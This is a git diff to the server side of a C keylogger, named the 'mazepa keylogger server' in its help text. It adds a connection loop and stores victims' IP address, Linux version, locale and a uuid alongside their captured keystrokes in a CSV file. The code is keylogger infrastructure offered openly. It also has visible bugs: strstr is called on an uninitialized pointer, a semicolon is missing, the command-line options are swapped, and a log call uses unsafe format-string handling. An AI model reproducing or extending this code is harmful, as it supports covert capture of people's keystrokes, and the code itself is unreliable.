diff --git a/server/Makefile b/server/Makefile
@@ -28,7 +28,7 @@ OBJECT_DIR = ./objects
vpath %$(PATTERN) $(SRC_DIR)
MAIN = main.c
-SRC = net.c lexxer.c csv.c
+SRC = net.c lexxer.c csv.c loop.c
########################
#### COMPILATION #######
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -2,11 +2,26 @@
#define SERVER_H
#ifdef DEBUG
- #include <string.h>
- #include <errno.h>
-#endif
+#include <errno.h>
#include <stddef.h>
+#include <stdio.h>
+#include <string.h>
+#include <syslog.h>
+
+#ifndef DEBUG_LOG
+#define DEBUG_LOG(s, ...) \
+ do \
+ { \
+ char data[256] = { 0 }; \
+ if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
+ _exit(1); \
+ syslog(LOG_NOTICE, data); \
+ } while (0)
+#endif
+
+#endif
+
#include <sys/queue.h>
#include <sys/types.h>
#include <unistd.h>
@@ -16,9 +31,10 @@
#define MAX_NB_CLIENT 128
/* meant for key translations from xkbcommon and the event we receive. :^) */
-typedef struct translated_key {
- char const *description;
- char const representation;
+typedef struct translated_key
+{
+ char const* description;
+ char const representation;
} translated_key_t;
/*
@@ -26,68 +42,72 @@ typedef struct translated_key {
all the information it has passed along to our server.
*/
typedef struct client_state client_t;
-struct client_state {
- int sockfd;
-
- char current_buffer[STRING_BUFFER_SIZE];
- ssize_t nb_bytes_in_buffer;
-
- /* client metadata dumped in database */
- char name[STRING_BUFFER_SIZE];
- char ipaddr[STRING_BUFFER_SIZE];
- char linux_version[STRING_BUFFER_SIZE];
- char locale[STRING_BUFFER_SIZE];
-
- TAILQ_ENTRY(client_state) clients;
+struct client_state
+{
+ int sockfd;
+
+ char current_buffer[STRING_BUFFER_SIZE];
+ ssize_t nb_bytes_in_buffer;
+
+ /* client metadata dumped in database */
+ char uuid[STRING_BUFFER_SIZE];
+ char name[STRING_BUFFER_SIZE];
+ char ipaddr[STRING_BUFFER_SIZE];
+ char linux_version[STRING_BUFFER_SIZE];
+ char locale[STRING_BUFFER_SIZE];
+
+ TAILQ_ENTRY(client_state)
+ clients;
};
/* main server object */
-typedef struct server_state {
+typedef struct server_state
+{
- /* current clients */
- TAILQ_HEAD(listhead, client_state) clients;
+ /* current clients */
+ TAILQ_HEAD(listhead, client_state)
+ clients;
- struct user_options {
- char const db_filepath[STRING_BUFFER_SIZE]; // .csv filepath
- unsigned short listen_port;
+ struct user_options
+ {
+ char const db_filepath[STRING_BUFFER_SIZE]; // .csv filepath
+ unsigned short listen_port;
- /*
- TODO:
- add encryption key config here, once protocol impl. is finished
- */
- } options;
+ /*
+ TODO:
+ add encryption key config here, once protocol impl. is finished
+ */
+ } options;
- int sockfd;
- int dbfd;
+ int sockfd;
+ int dbfd;
} server_t;
#define SUCCESSFUL 1
#define ERROR 0
-#include <stdio.h> /* necessary for the snprintf in the macro */
-#include <syslog.h>
-
-#ifndef DEBUG_LOG
-#define DEBUG_LOG(s, ...) \
- do { \
- char data[256] = {0}; \
- if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
- _exit(1); \
- syslog(LOG_NOTICE, data); \
- } while (0)
-#endif
-
#define KEY_PRESSED 1
#define KEY_RELEASED 0
// net.c
-int init_remote_connection(server_t *instance);
+int
+init_remote_connection(server_t* instance);
// lexxer.c
-int parse_cli_arguments(server_t *instance, int ac, char **av, char **envp);
+int
+parse_cli_arguments(server_t* instance, int ac, char** av, char** envp);
// csv.c
-int init_csv_dbfd(char const *filepath);
+int
+init_csv_dbfd(char const* filepath);
+
+// loop.c
+void
+loop(server_t* instance);
+int
+should_gracefully_exit(int code);
+int
+get_fd_size(void);
#endif /* SERVER_H */
diff --git a/server/sources/csv.c b/server/sources/csv.c
@@ -10,41 +10,44 @@ underneath
uuid, name, ip-addr, linux-version, locale, dump
*/
-#include "server.h"
#include <fcntl.h>
#include <unistd.h>
+#include "server.h"
-int init_csv_dbfd(char const *filepath) {
+int
+init_csv_dbfd(char const* filepath)
+{
- if (!filepath || (!(*filepath)))
- return -1;
+ if (!filepath || (!(*filepath)))
+ return -1;
- /* obviously, we need to have a read-writable file */
- int access_status = access(filepath, R_OK | W_OK);
+ /* obviously, we need to have a read-writable file */
+ int access_status = access(filepath, R_OK | W_OK);
- /* file probably does not exist, let's create a file and return fd */
- if (access_status == -1) {
- int fd = open(filepath, O_CREAT | O_RDWR);
+ /* file probably does not exist, let's create a file and return fd */
+ if (access_status == -1)
+ {
+ int fd = open(filepath, O_CREAT | O_RDWR);
#ifdef DEBUG
- DEBUG_LOG("[+] created dbfd: %d\n", fd);
+ DEBUG_LOG("[+] created dbfd: %d\n", fd);
#endif
- return fd;
- }
+ return fd;
+ }
- /* all good, lets just open & return */
- if (access_status == 0) {
- int fd = open(filepath, O_RDWR);
+ /* all good, lets just open & return */
+ if (access_status == 0)
+ {
+ int fd = open(filepath, O_RDWR);
#ifdef DEBUG
- DEBUG_LOG("[+] opened existing dbfd: %d\n", fd);
+ DEBUG_LOG("[+] opened existing dbfd: %d\n", fd);
#endif
- return fd;
- }
+ return fd;
+ }
- /* incorrect perms is most likely */
+ /* incorrect perms is most likely */
#ifdef DEBUG
- DEBUG_LOG("[!] could not open %s: access() result: %d\n", filepath,
- access_status);
- DEBUG_LOG("incorrect file permissions is the most likely issue...\n");
+ DEBUG_LOG("[!] could not open %s: access() result: %d\n", filepath, access_status);
+ DEBUG_LOG("incorrect file permissions is the most likely issue...\n");
#endif
- return -1;
+ return -1;
}
diff --git a/server/sources/lexxer.c b/server/sources/lexxer.c
@@ -1,69 +1,72 @@
-#include "server.h"
-#include <bits/getopt_core.h>
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
+#include "server.h"
const static struct option cli_options[] = {
- {"help", no_argument, 0, 'h'},
- {"listen-port", required_argument, 0, 'p'},
- {"db-path", required_argument, 0, 'd'},
+ { "help", no_argument, 0, 'h' },
+ { "listen-port", required_argument, 0, 'p' },
+ { "db-path", required_argument, 0, 'd' },
};
-static void get_help(const char *bin_name) {
- printf("%s: mazepa keylogger server\n\n", bin_name);
- printf("USAGE:\n");
- printf("\t--listen-port [-p]: specifies server listening port\n");
- printf("\t--db-path [-d]: specifies .csv filepath\n");
+static void
+get_help(const char* bin_name)
+{
+ printf("%s: mazepa keylogger server\n\n", bin_name);
+ printf("USAGE:\n");
+ printf("\t--listen-port [-p]: specifies server listening port\n");
+ printf("\t--db-path [-d]: specifies .csv filepath\n");
- printf("\t--help [-h]: triggers help mode\n");
- printf("\n\nwritten with <3 by djnn -- https://djnn.sh\n");
+ printf("\t--help [-h]: triggers help mode\n");
+ printf("\n\nwritten with <3 by djnn -- https://djnn.sh\n");
}
-int parse_cli_arguments(server_t *instance, int ac, char **av,
- __attribute__((unused)) char **envp) {
+int
+parse_cli_arguments(server_t* instance, int ac, char** av, __attribute__((unused)) char** envp)
+{
- int c = 0;
- int opt_idx = 0;
- char const *short_options = "d:p:h";
+ int c = 0;
+ int opt_idx = 0;
+ char const* short_options = "d:p:h";
- while ((c = getopt_long(ac, av, short_options, cli_options, &opt_idx)) !=
- -1) {
+ while ((c = getopt_long(ac, av, short_options, cli_options, &opt_idx)) !=
+ -1)
+ {
- switch (c) {
- case 'h':
- get_help(av[0]);
- _exit(0);
+ switch (c)
+ {
+ case 'h':
+ get_help(av[0]);
+ _exit(0);
- case 'd':
+ case 'd':
- instance->options.listen_port = (unsigned short)strtoul(optarg, NULL, 0);
+ instance->options.listen_port = (unsigned short)strtoul(optarg, NULL, 0);
#ifdef DEBUG
- DEBUG_LOG("setting listen port to %d", instance->options.listen_port);
+ DEBUG_LOG("setting listen port to %d", instance->options.listen_port);
#endif
- break;
+ break;
- case 'p':
+ case 'p':
- bzero((void *)instance->options.db_filepath, STRING_BUFFER_SIZE);
- memcpy((void *)instance->options.db_filepath, optarg,
- strnlen(optarg, STRING_BUFFER_SIZE));
+ bzero((void*)instance->options.db_filepath, STRING_BUFFER_SIZE);
+ memcpy((void*)instance->options.db_filepath, optarg, strnlen(optarg, STRING_BUFFER_SIZE));
#ifdef DEBUG
- DEBUG_LOG("setting .db filepath to: %s", instance->options.db_filepath);
+ DEBUG_LOG("setting .db filepath to: %s", instance->options.db_filepath);
#endif
- break;
+ break;
- case '?':
- return ERROR;
+ case '?':
+ return ERROR;
- default:
- break;
+ default:
+ break;
+ }
}
- }
- return SUCCESSFUL;
+ return SUCCESSFUL;
}
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -0,0 +1,112 @@
+/*
+ stores main loop logic (that is managing entering / ending connections &
+ logging them keys)
+*/
+
+#include <ctype.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/select.h>
+#include <unistd.h>
+#include "server.h"
+
+/*
+ - call select() to know which available (net) sockets are ready to
+ do something
+ - accept incoming connections if any & assign new socket for each
+ - read from all available sockets
+ - if new keys are dumped, lets get xkbcontext & read the new keys
+ - check which items are to be stored in database
+ - store it by bulk updates
+ -> if anything fucks up at any point just trigger cleanup routine
+*/
+void
+loop(server_t* instance)
+{
+
+ while (should_gracefully_exit(0))
+ {
+ int fdsize = get_fd_size();
+ if (fdsize == -1)
+ break;
+
+ int sstat = select(fdsize, NULL, NULL, NULL, NULL);
+ if (sstat == -1)
+ {
+#ifdef DEBUG
+ DEBUG_LOG("select: %s", strerror(errno));
+#endif
+ break;
+ }
+ }
+}
+
+int
+should_gracefully_exit(int code)
+{
+ static int should_exit = 0;
+
+ if (code != 0 || should_exit)
+ {
+#ifdef DEBUG
+ DEBUG_LOG("[+] caught code: %d\n", code)
+#endif
+ should_exit = 1;
+ }
+ return should_exit;
+}
+
+static void
+sig_handler(int code)
+{
+ if (code == SIGINT)
+ should_gracefully_exit(code);
+}
+
+int
+get_fd_size(void)
+{
+
+ const char fdsize[] = "FDSize:";
+ char buf[4096] = { 0 };
+ int statfd = open("/proc/self/status", O_RDONLY);
+
+ if (statfd < 0)
+ {
+#ifdef DEBUG
+ DEBUG_LOG("open statfd: %s", strerror(errno));
+#endif
+
+ return -1;
+ }
+
+ const ssize_t num_read = read(statfd, buf, sizeof(buf) - 1);
+ if (num_read <= 0)
+ {
+#ifdef DEBUG
+ DEBUG_LOG("read statfd: %s", strerror(errno));
+#endif
+
+ return -1;
+ }
+
+ buf[num_read] = '\0';
+
+ const char* fdsize_ptr = strstr(buf, fdsize_ptr);
+ if (!fdsize_ptr)
+ return 256;
+
+ for (const char* char_ptr = fdsize_ptr + sizeof(fdsize) - 1; char_ptr <= buf + num_read; ++char_ptr)
+ {
+ if (isspace(*char_ptr))
+ continue;
+ else if (*char_ptr == 0)
+ return 256;
+
+ return atoi(char_ptr);
+ }
+
+ return 256;
+}
diff --git a/server/sources/main.c b/server/sources/main.c
@@ -1,22 +1,25 @@
-#include "server.h"
#include <unistd.h>
+#include "server.h"
-int main(int ac, char **av, char **envp) {
+int
+main(int ac, char** av, char** envp)
+{
- server_t srv = {0};
+ server_t srv = { 0 };
- if (!parse_cli_arguments(&srv, ac, av, envp)) {
+ if (!parse_cli_arguments(&srv, ac, av, envp))
+ {
#ifdef DEBUG
- DEBUG_LOG("[%s]: invalid arguments. exiting on startup.", av[0]);
+ DEBUG_LOG("[%s]: invalid arguments. exiting on startup.", av[0]);
#endif
- _exit(1);
- }
+ _exit(1);
+ }
- srv.sockfd = init_remote_connection(&srv);
+ srv.sockfd = init_remote_connection(&srv);
#ifdef DEBUG
- DEBUG_LOG("[+] socket initiated....preparing DB connection");
+ DEBUG_LOG("[+] socket initiated....preparing DB connection");
#endif
- srv.dbfd = init_csv_dbfd((char const *)srv.options.db_filepath);
+ srv.dbfd = init_csv_dbfd((char const*)srv.options.db_filepath);
}
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -10,61 +10,75 @@
#include "server.h"
-int init_remote_connection(server_t *instance) {
+int
+init_remote_connection(server_t* instance)
+{
#ifdef DEBUG
- DEBUG_LOG("Initiating remote connection with (localhost:%d)",
- instance->options.listen_port);
+ DEBUG_LOG("Initiating remote connection with (localhost:%d)",
+ instance->options.listen_port);
#endif
- /*
- creating initial socket...
+ /*
+ creating initial socket...
- AF_INET -> remote connection (for local, use AF_UNIX)
- SOCK_STREAM -> TCP connection (for UDP, use SOCK_DGRAM)
- IPPROTO_TCP -> Specify protocol (for UDP, use IPPROTO_UDP)
+ AF_INET -> remote connection (for local, use AF_UNIX)
+ SOCK_STREAM -> TCP connection (for UDP, use SOCK_DGRAM)
+ IPPROTO_TCP -> Specify protocol (for UDP, use IPPROTO_UDP)
- */
- int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sockfd < 0) {
+ */
+ int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (sockfd < 0)
+ {
#ifdef DEBUG
- perror("socket");
+ perror("socket");
#endif
- close(sockfd);
- return -1;
- }
+ close(sockfd);
+ return -1;
+ }
- /* items required to bind socket to remote address */
- int is_enabled = 1;
- struct sockaddr_in addr = {.sin_family = AF_INET,
- .sin_port = htons(instance->options.listen_port),
- .sin_addr.s_addr = inet_addr("0.0.0.0")};
+ /* items required to bind socket to remote address */
+ int is_enabled = 1;
+ struct sockaddr_in addr = { .sin_family = AF_INET,
+ .sin_port = htons(instance->options.listen_port),
+ .sin_addr.s_addr = inet_addr("0.0.0.0") };
- /* setting socket options to make connection more convenient */
- if (setsockopt(sockfd, SOL_SOCKET,
- SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
- (useful for testing) */
- &is_enabled, sizeof(int)) < 0) {
+ /* setting socket options to make connection more convenient */
+ if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
+ (useful for testing) */
+ &is_enabled,
+ sizeof(int)) < 0)
+ {
#ifdef DEBUG
- DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
+ DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
#endif
- close(sockfd);
- return -1;
- }
+ close(sockfd);
+ return -1;
+ }
- if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
+ if (bind(sockfd, (struct sockaddr*)&addr, sizeof(addr)) < 0)
+ {
#ifdef DEBUG
- DEBUG_LOG("connect: %s", strerror(errno));
+ DEBUG_LOG("connect: %s", strerror(errno));
#endif
- close(sockfd);
- return -1;
- }
+ close(sockfd);
+ return -1;
+ }
- return sockfd;
+ if (listen(sockfd, MAX_NB_CLIENT) < 0)
+ {
+#ifdef DEBUG
+ DEBUG_LOG("listen: %s", strerror(errno));
+#endif
+
+ return -1;
+ }
+
+ return sockfd;
}
| | | | | | |